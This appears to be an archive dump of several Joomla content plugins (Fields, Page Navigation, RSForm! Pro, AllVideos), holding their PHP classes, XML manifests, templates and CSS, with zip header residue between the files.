/**
 * Plug-in to show a custom field in eg an article
 * This uses the {fields ID} syntax
 *
 * @since  3.7.0
 */
class PlgContentFields extends JPlugin
{
	/**
	 * Plugin that shows a custom field
	 *
	 * @param   string  $context  The context of the content being passed to the plugin.
	 * @param   object  &$item    The item object.  Note $article->text is also available
	 * @param   object  &$params  The article params
	 * @param   int     $page     The 'page' number
	 *
	 * @return void
	 *
	 * @since  3.7.0
	 */
	public function onContentPrepare($context, &$item, &$params, $page = 0)
	{
		// If the item has a context, overwrite the existing one
		if ($context == 'com_finder.indexer' && !empty($item->context))
		{
			$context = $item->context;
		}
		elseif ($context == 'com_finder.indexer')
		{
			// Don't run this plugin when the content is being indexed and we have no real context
			return;
		}

		// Don't run if there is no text property (in case of bad calls) or it is empty
		if (empty($item->text))
		{
			return;
		}

		// Simple performance check to determine whether bot should process further
		if (strpos($item->text, 'field') === false)
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Prepare the text
		if (isset($item->text))
		{
			$item->text = $this->prepare($item->text, $context, $item);
		}

		// Prepare the intro text
		if (isset($item->introtext))
		{
			$item->introtext = $this->prepare($item->introtext, $context, $item);
		}
	}

	/**
	 * Prepares the given string by parsing {field} and {fieldgroup} groups and replacing them.
	 *
	 * @param   string  $string   The text to prepare
	 * @param   string  $context  The context of the content
	 * @param   object  $item     The item object
	 *
	 * @return string
	 *
	 * @since  3.8.1
	 */
	private function prepare($string, $context, $item)
	{
		// Search for {field ID} or {fieldgroup ID} tags and put the results into $matches.
		$regex = '/{(field|fieldgroup)\s+(.*?)}/i';
		preg_match_all($regex, $string, $matches, PREG_SET_ORDER);

		if (!$matches)
		{
			return $string;
		}

		$parts = FieldsHelper::extract($context);

		if (count($parts) < 2)
		{
			return $string;
		}

		$context    = $parts[0] . '.' . $parts[1];
		$fields     = FieldsHelper::getFields($context, $item, true);
		$fieldsById = array();
		$groups     = array();

		// Rearranging fields in arrays for easier lookup later.
		foreach ($fields as $field)
		{
			$fieldsById[$field->id]     = $field;
			$groups[$field->group_id][] = $field;
		}

		foreach ($matches as $i => $match)
		{
			// $match[0] is the full pattern match, $match[1] is the type (field or fieldgroup) and $match[2] the ID and optional the layout
			$explode = explode(',', $match[2]);
			$id      = (int) $explode[0];
			$output  = '';

			if ($match[1] == 'field' && $id)
			{
				if (isset($fieldsById[$id]))
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : $fieldsById[$id]->params->get('layout', 'render');
					$output = FieldsHelper::render(
						$context,
						'field.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'field'   => $fieldsById[$id]
						)
					);
				}
			}
			else
			{
				if ($match[2] === '*')
				{
					$match[0]     = str_replace('*', '\*', $match[0]);
					$renderFields = $fields;
				}
				else
				{
					$renderFields = isset($groups[$id]) ? $groups[$id] : '';
				}

				if ($renderFields)
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : 'render';
					$output = FieldsHelper::render(
						$context,
						'fields.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'fields'  => $renderFields
						)
					);
				}
			}

			$string = preg_replace("|$match[0]|", addcslashes($output, '\\$'), $string, 1);
		}

		return $string;
	}
}
PK       ! f;    )  content/pagenavigation/pagenavigation.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_pagenavigation</name>
	<author>Joomla! Project</author>
	<creationDate>January 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_PAGENAVIGATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagenavigation">pagenavigation.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.ini</language>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_POSITION_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_POSITION_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_BELOW</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE</option>
				</field>

				<field
					name="relative"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_TEXT</option>
				</field>

				<field
					name="display"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_DISPLAY_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_DISPLAY_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_NEXTPREV</option>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_TITLE</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK       ! :k    )  content/pagenavigation/pagenavigation.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Pagenavigation plugin class.
 *
 * @since  1.5
 */
class PlgContentPagenavigation extends JPlugin
{
	/**
	 * If in the article view and the parameter is enabled shows the page navigation
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  void or true
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		$app   = JFactory::getApplication();
		$view  = $app->input->get('view');
		$print = $app->input->getBool('print');

		if ($print)
		{
			return false;
		}

		if ($context === 'com_content.article' && $view === 'article' && $params->get('show_item_navigation'))
		{
			$db       = JFactory::getDbo();
			$user     = JFactory::getUser();
			$lang     = JFactory::getLanguage();
			$nullDate = $db->getNullDate();

			$date = JFactory::getDate();
			$now  = $date->toSql();

			$uid        = $row->id;
			$option     = 'com_content';
			$canPublish = $user->authorise('core.edit.state', $option . '.article.' . $row->id);

			/**
			 * The following is needed as different menu items types utilise a different param to control ordering.
			 * For Blogs the `orderby_sec` param is the order controlling param.
			 * For Table and List views it is the `orderby` param.
			**/
			$params_list = $params->toArray();

			if (array_key_exists('orderby_sec', $params_list))
			{
				$order_method = $params->get('orderby_sec', '');
			}
			else
			{
				$order_method = $params->get('orderby', '');
			}

			// Additional check for invalid sort ordering.
			if ($order_method === 'front')
			{
				$order_method = '';
			}

			// Get the order code
			$orderDate = $params->get('order_date');
			$queryDate = $this->getQueryDate($orderDate);

			// Determine sort order.
			switch ($order_method)
			{
				case 'date' :
					$orderby = $queryDate;
					break;
				case 'rdate' :
					$orderby = $queryDate . ' DESC ';
					break;
				case 'alpha' :
					$orderby = 'a.title';
					break;
				case 'ralpha' :
					$orderby = 'a.title DESC';
					break;
				case 'hits' :
					$orderby = 'a.hits';
					break;
				case 'rhits' :
					$orderby = 'a.hits DESC';
					break;
				case 'order' :
					$orderby = 'a.ordering';
					break;
				case 'author' :
					$orderby = 'a.created_by_alias, u.name';
					break;
				case 'rauthor' :
					$orderby = 'a.created_by_alias DESC, u.name DESC';
					break;
				case 'front' :
					$orderby = 'f.ordering';
					break;
				default :
					$orderby = 'a.ordering';
					break;
			}

			$xwhere = ' AND (a.state = 1 OR a.state = -1)'
				. ' AND (publish_up = ' . $db->quote($nullDate) . ' OR publish_up <= ' . $db->quote($now) . ')'
				. ' AND (publish_down = ' . $db->quote($nullDate) . ' OR publish_down >= ' . $db->quote($now) . ')';

			// Array of articles in same category correctly ordered.
			$query = $db->getQuery(true);

			// Sqlsrv changes
			$case_when = ' CASE WHEN ' . $query->charLength('a.alias', '!=', '0');
			$a_id = $query->castAsChar('a.id');
			$case_when .= ' THEN ' . $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ' . $a_id . ' END as slug';

			$case_when1 = ' CASE WHEN ' . $query->charLength('cc.alias', '!=', '0');
			$c_id = $query->castAsChar('cc.id');
			$case_when1 .= ' THEN ' . $query->concatenate(array($c_id, 'cc.alias'), ':');
			$case_when1 .= ' ELSE ' . $c_id . ' END as catslug';
			$query->select('a.id, a.title, a.catid, a.language,' . $case_when . ',' . $case_when1)
				->from('#__content AS a')
				->join('LEFT', '#__categories AS cc ON cc.id = a.catid');

			if ($order_method === 'author' || $order_method === 'rauthor')
			{
				$query->select('a.created_by, u.name');
				$query->join('LEFT', '#__users AS u ON u.id = a.created_by');
			}

			$query->where(
					'a.catid = ' . (int) $row->catid . ' AND a.state = ' . (int) $row->state
						. ($canPublish ? '' : ' AND a.access IN (' . implode(',', JAccess::getAuthorisedViewLevels($user->id)) . ') ') . $xwhere
				);
			$query->order($orderby);

			if ($app->isClient('site') && $app->getLanguageFilter())
			{
				$query->where('a.language in (' . $db->quote($lang->getTag()) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query);
			$list = $db->loadObjectList('id');

			// This check needed if incorrect Itemid is given resulting in an incorrect result.
			if (!is_array($list))
			{
				$list = array();
			}

			reset($list);

			// Location of current content item in array list.
			$location = array_search($uid, array_keys($list));
			$rows     = array_values($list);

			$row->prev = null;
			$row->next = null;

			if ($location - 1 >= 0)
			{
				// The previous content item cannot be in the array position -1.
				$row->prev = $rows[$location - 1];
			}

			if (($location + 1) < count($rows))
			{
				// The next content item cannot be in an array position greater than the number of array postions.
				$row->next = $rows[$location + 1];
			}

			if ($row->prev)
			{
				$row->prev_label = ($this->params->get('display', 0) == 0) ? JText::_('JPREV') : $row->prev->title;
				$row->prev = JRoute::_(ContentHelperRoute::getArticleRoute($row->prev->slug, $row->prev->catid, $row->prev->language));
			}
			else
			{
				$row->prev_label = '';
				$row->prev = '';
			}

			if ($row->next)
			{
				$row->next_label = ($this->params->get('display', 0) == 0) ? JText::_('JNEXT') : $row->next->title;
				$row->next = JRoute::_(ContentHelperRoute::getArticleRoute($row->next->slug, $row->next->catid, $row->next->language));
			}
			else
			{
				$row->next_label = '';
				$row->next = '';
			}

			// Output.
			if ($row->prev || $row->next)
			{
				// Get the path for the layout file
				$path = JPluginHelper::getLayoutPath('content', 'pagenavigation');

				// Render the pagenav
				ob_start();
				include $path;
				$row->pagination = ob_get_clean();

				$row->paginationposition = $this->params->get('position', 1);

				// This will default to the 1.5 and 1.6-1.7 behavior.
				$row->paginationrelative = $this->params->get('relative', 0);
			}
		}
	}

	/**
	 * Translate an order code to a field for primary ordering.
	 *
	 * @param   string  $orderDate  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   3.3
	 */
	private static function getQueryDate($orderDate)
	{
		$db = JFactory::getDbo();

		switch ($orderDate)
		{
			// Use created if modified is not set
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END';
				break;

			// Use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END ';
				break;

			// Use created as default
			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}
}
PK       ! V      !  content/pagenavigation/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! @4    '  content/pagenavigation/tmpl/default.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();

?>
<ul class="pager pagenav">
<?php if ($row->prev) :
	$direction = $lang->isRtl() ? 'right' : 'left'; ?>
	<li class="previous">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location-1]->title); ?>" aria-label="<?php echo JText::sprintf('JPREVIOUS_TITLE', htmlspecialchars($rows[$location-1]->title)); ?>" href="<?php echo $row->prev; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> <span aria-hidden="true">' . $row->prev_label . '</span>'; ?>
		</a>
	</li>
<?php endif; ?>
<?php if ($row->next) :
	$direction = $lang->isRtl() ? 'left' : 'right'; ?>
	<li class="next">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location+1]->title); ?>" aria-label="<?php echo JText::sprintf('JNEXT_TITLE', htmlspecialchars($rows[$location+1]->title)); ?>" href="<?php echo $row->next; ?>" rel="next">
			<?php echo '<span aria-hidden="true">' . $row->next_label . '</span> <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
		</a>
	</li>
<?php endif; ?>
</ul>
PK       ! V      &  content/pagenavigation/tmpl/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! #o,   ,     content/rsform/index.htmlnu bS        <html><body bgcolor="#FFFFFF"></body></html>PK       ! t</X      content/rsform/rsform.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="content" method="upgrade">
	<name>Content - RSForm! Pro</name>
	<author>RSJoomla!</author>
	<creationDate>June 2015</creationDate>
	<copyright>(C) 2007-2015 www.rsjoomla.com</copyright>
	<license>GNU General Public License</license>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>www.rsjoomla.com</authorUrl>
	<version>1.51.0</version>
	<scriptfile>script.php</scriptfile>
	
	<updateservers>
        <server type="extension" priority="1" name="RSForm! Pro - Content Plugin">https://www.rsjoomla.com/updates/com_rsform/Plugins/plg_content.xml</server>
    </updateservers>
	
	<description><![CDATA[PLG_CONTENT_RSFORM_DESC]]></description>
	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language/en-GB">
		<language tag="en-GB">en-GB.plg_content_rsform.ini</language>
		<language tag="en-GB">en-GB.plg_content_rsform.sys.ini</language>
	</languages>
</extension>PK       ! k      content/rsform/rsform.phpnu bS        <?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRSForm extends JPlugin
{
	// Check if RSForm! Pro can be loaded
	protected function canRun() {
		if (class_exists('RSFormProHelper')) {
			return true;
		}
		
		$helper = JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php';
		if (file_exists($helper)) {
			require_once($helper);
			return true;
		}
		
		return false;
	}
	
	// Joomla! Triggers - onContentBeforeDisplay()
	public function onContentBeforeDisplay($context, &$row, &$params, $page=0) {
		// Don't run this plugin when the content is being indexed
		if ($context == 'com_finder.indexer') {
			return true;
		}
		
		if ($this->canRun()) {
			if (is_object($row) && isset($row->text)) {
				$this->_addForm($row->text);
			} elseif (is_string($row)) {
				$this->_addForm($row);
			}
		}
	}
	
	// Joomla! Triggers - onContentPrepare()
	public function onContentPrepare($context, &$row, &$params, $page=0) {
		// Don't run this plugin when the content is being indexed
		if ($context == 'com_finder.indexer') {
			return true;
		}
		
		if ($this->canRun()) {
			if (is_object($row) && isset($row->text)) {
				$this->_addForm($row->text);
			} elseif (is_string($row)) {
				$this->_addForm($row);
			}
		}
	}
	
	// Syntax replacement function
	protected function _addForm(&$text) {		
		// Performance check
		if (strpos($text, '{rsform ') !== false) {
			// Expression to search for
			$pattern = '#\{rsform (.*?)\}#i';
			// Found matches
			if (preg_match_all($pattern, $text, $matches)) {
				// No replacement when we're not dealing with HTML
				if (JFactory::getDocument()->getType() != 'html') {
					$text = preg_replace($pattern, '', $text);
					return true;
				}
				
				// Load language
				JFactory::getLanguage()->load('com_rsform', JPATH_SITE);
				
				// Disable caching
				$cache = JFactory::getCache('com_content');
				$cache->setCaching(false);
				
				foreach ($matches[0] as $i => $fullMatch) {
					if (preg_match_all('#[a-z0-9_]+=".*?"#i', $matches[1][$i], $attributesMatches)) {
						$data = array();
						
						foreach ($attributesMatches[0] as $pair) {
							list($attribute, $value) = explode('=', $pair, 2);
							
							$attribute  = html_entity_decode($attribute);
							$value 		= html_entity_decode(trim($value, '"'));
							
							if (isset($data[$attribute])) {
								if (!is_array($data[$attribute])) {
									$data[$attribute] = (array) $data[$attribute];
								}
								
								$data[$attribute][] = $value;
							} else {
								$data[$attribute] = $value;
							}
						}
						
						if ($data) {
							JFactory::getApplication()->input->get->set('form', $data);
						}
					}
					
					$pattern = '#\{rsform ([0-9]+)#i';
					if (preg_match($pattern, $fullMatch, $formMatch)) {
						$formId = $formMatch[1];
						$text 	= str_replace($fullMatch, RSFormProHelper::displayForm($formId, true), $text);
					}
				}
			}
		}
	}
}PK       ! B]a      content/rsform/script.phpnu bS        <?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRSFormInstallerScript
{
	public function preflight($type, $parent) {
		if ($type == 'uninstall') {
			return true;
		}
		
		$app = JFactory::getApplication();
		
		if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php')) {
			$app->enqueueMessage('Please install the RSForm! Pro component before continuing.', 'error');
			return false;
		}
		
		if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/assets.php')) {
			$app->enqueueMessage('Please upgrade RSForm! Pro to at least version 1.51.0 before continuing!', 'error');
			return false;
		}
		
		return true;
	}
	
	public function postflight($type, $parent) {
		if ($type == 'uninstall') {
			return true;
		}
		
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('extension_id')
			  ->from($db->qn('#__extensions'))
			  ->where($db->qn('type').' = '.$db->q('plugin'))
			  ->where($db->qn('folder').' = '.$db->q('content'))
			  ->where($db->qn('element').' = '.$db->q('rsform'));
		$pluginId = $db->setQuery($query)->loadResult();
		
		$jversion = new JVersion;
		?>
		<style type="text/css">
		.version-history {
			margin: 0 0 2em 0;
			padding: 0;
			list-style-type: none;
		}
		.version-history > li {
			margin: 0 0 0.5em 0;
			padding: 0 0 0 4em;
			text-align:left;
			font-weight:normal;
		}
		.version-new,
		.version-fixed,
		.version-upgraded {
			float: left;
			font-size: 0.8em;
			margin-left: -4.9em;
			width: 4.5em;
			color: white;
			text-align: center;
			font-weight: bold;
			text-transform: uppercase;
			-webkit-border-radius: 4px;
			-moz-border-radius: 4px;
			border-radius: 4px;
		}

		.version-new {
			background: #7dc35b;
		}
		.version-fixed {
			background: #e9a130;
		}
		.version-upgraded {
			background: #61b3de;
		}
		<?php if (!$jversion->isCompatible('3.0')) { ?>
		.btn {
		  display: inline-block;
		  *display: inline;
		  padding: 4px 12px;
		  margin-bottom: 0;
		  *margin-left: .3em;
		  font-size: 14px;
		  line-height: 20px;
		  color: #333333;
		  text-align: center;
		  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);
		  vertical-align: middle;
		  cursor: pointer;
		  background-color: #f5f5f5;
		  *background-color: #e6e6e6;
		  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));
		  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: linear-gradient(to bottom, #ffffff, #e6e6e6);
		  background-repeat: repeat-x;
		  border: 1px solid #cccccc;
		  *border: 0;
		  border-color: #e6e6e6 #e6e6e6 #bfbfbf;
		  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
		  border-bottom-color: #b3b3b3;
		  -webkit-border-radius: 4px;
			 -moz-border-radius: 4px;
				  border-radius: 4px;
		  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);
		  filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
		  *zoom: 1;
		  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
			 -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
				  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
		}

		.btn:hover,
		.btn:focus,
		.btn:active,
		.btn.active,
		.btn.disabled,
		.btn[disabled] {
		  color: #333333;
		  background-color: #e6e6e6;
		  *background-color: #d9d9d9;
		}

		.btn:active,
		.btn.active {
		  background-color: #cccccc \9;
		}

		.btn:first-child {
		  *margin-left: 0;
		}

		.btn:hover,
		.btn:focus {
		  color: #333333;
		  text-decoration: none;
		  background-position: 0 -15px;
		  -webkit-transition: background-position 0.1s linear;
			 -moz-transition: background-position 0.1s linear;
			   -o-transition: background-position 0.1s linear;
				  transition: background-position 0.1s linear;
		}

		.btn:focus {
		  outline: thin dotted #333;
		  outline: 5px auto -webkit-focus-ring-color;
		  outline-offset: -2px;
		}

		.btn.active,
		.btn:active {
		  background-image: none;
		  outline: 0;
		  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
			 -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
				  box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
		}

		.btn.disabled,
		.btn[disabled] {
		  cursor: default;
		  background-image: none;
		  opacity: 0.65;
		  filter: alpha(opacity=65);
		  -webkit-box-shadow: none;
			 -moz-box-shadow: none;
				  box-shadow: none;
		}

		.btn-large {
		  padding: 11px 19px;
		  font-size: 17.5px;
		  -webkit-border-radius: 6px;
			 -moz-border-radius: 6px;
				  border-radius: 6px;
		}

		.btn-large [class^="icon-"],
		.btn-large [class*=" icon-"] {
		  margin-top: 4px;
		}

		.btn-primary {
		  color: #ffffff !important;
		  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
		  background-color: #006dcc;
		  *background-color: #0044cc;
		  background-image: -moz-linear-gradient(top, #0088cc, #0044cc);
		  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));
		  background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);
		  background-image: -o-linear-gradient(top, #0088cc, #0044cc);
		  background-image: linear-gradient(to bottom, #0088cc, #0044cc);
		  background-repeat: repeat-x;
		  border-color: #0044cc #0044cc #002a80;
		  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
		  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);
		  filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
		}

		.btn-primary:hover,
		.btn-primary:focus,
		.btn-primary:active,
		.btn-primary.active,
		.btn-primary.disabled,
		.btn-primary[disabled] {
		  color: #ffffff;
		  background-color: #0044cc;
		  *background-color: #003bb3;
		}

		.btn-primary:active,
		.btn-primary.active {
		  background-color: #003399 \9;
		}
		<?php } ?>
		</style>

		<h3>RSForm! Pro Content Plugin v1.51.0 Changelog</h3>
		<ul class="version-history">
			<li><span class="version-new">New</span> Compatibility with RSForm! Pro 1.51.0</li>
		</ul>
		<?php if ($pluginId) { ?>
		<a class="btn btn-primary btn-large" href="<?php echo JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id='.$pluginId); ?>">Start using the RSForm! Pro Content Plugin.</a>
		<?php } ?>
		<a class="btn" href="https://www.rsjoomla.com/support/view-article/146-content-plugin-plgcontent-display-the-form-in-an-article.html" target="_blank">Read the documentation</a>
		<a class="btn" href="https://www.rsjoomla.com/support.html" target="_blank">Get Support!</a>
		<div style="clear: both;"></div>
		<?php
	}
}PK       ! b
  b
  B  content/jw_allvideos/jw_allvideos/tmpl/Responsive/css/template.cssnu bS        /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Responsive Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}

.avPlayerWrapper .avPlayerContainer .avPlayerBlock {width:100% !important;position:relative !important;padding:58% 0 0 0 !important;overflow:hidden;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock iframe,
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video,
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {position:absolute !important;top:0;left:0;width:100% !important;height:100% !important;}

.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;box-sizing:border-box;}

.avPlayerWrapper.avNoPoster .avPlayerContainer .avPlayerBlock  {padding:0 !important;}
.avPlayerWrapper.avNoPoster .avPlayerContainer .avPlayerBlock audio {position:relative !important;height:60px !important;}

.avPlayerWrapper.avSoundCloudSet .avPlayerContainer .avPlayerBlock,
.avPlayerWrapper.avSoundCloudSong .avPlayerContainer .avPlayerBlock {padding:0 !important;}
.avPlayerWrapper.avSoundCloudSet .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:336px !important;}
.avPlayerWrapper.avSoundCloudSong .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:168px !important;}

.avPlayerWrapper.avMixcloud .avPlayerContainer .avPlayerBlock {padding:0 !important;}
.avPlayerWrapper.avMixcloud .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:inherit !important;}
PK       ! A"s    =  content/jw_allvideos/jw_allvideos/tmpl/Responsive/default.phpnu bS        <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div class="avPlayerContainer"<?php echo $maxwidth; ?>>
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
PK       !     9  content/jw_allvideos/jw_allvideos/tmpl/Framed/default.phpnu bS        <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div style="width:<?php echo $output->playerWidth; ?>px;" class="avPlayerContainer">
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
